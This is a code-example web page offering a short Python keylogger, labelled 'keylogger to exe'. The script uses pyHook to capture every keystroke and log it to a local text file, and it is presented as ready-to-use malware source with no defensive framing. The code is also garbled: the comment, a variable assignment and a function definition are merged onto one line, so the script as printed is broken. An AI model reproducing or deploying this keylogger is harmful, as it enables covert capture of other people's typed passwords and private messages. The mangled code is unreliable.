Search
 
SCRIPT & CODE EXAMPLE
 
CODE EXAMPLE FOR PYTHON

keylogger to exe

import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/locationfile_log = 'keyloggeroutput.txt'def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Source by www.instructables.com #
 
PREVIOUS NEXT
Tagged: #keylogger #exe
ADD COMMENT
Topic
Name
7+5 =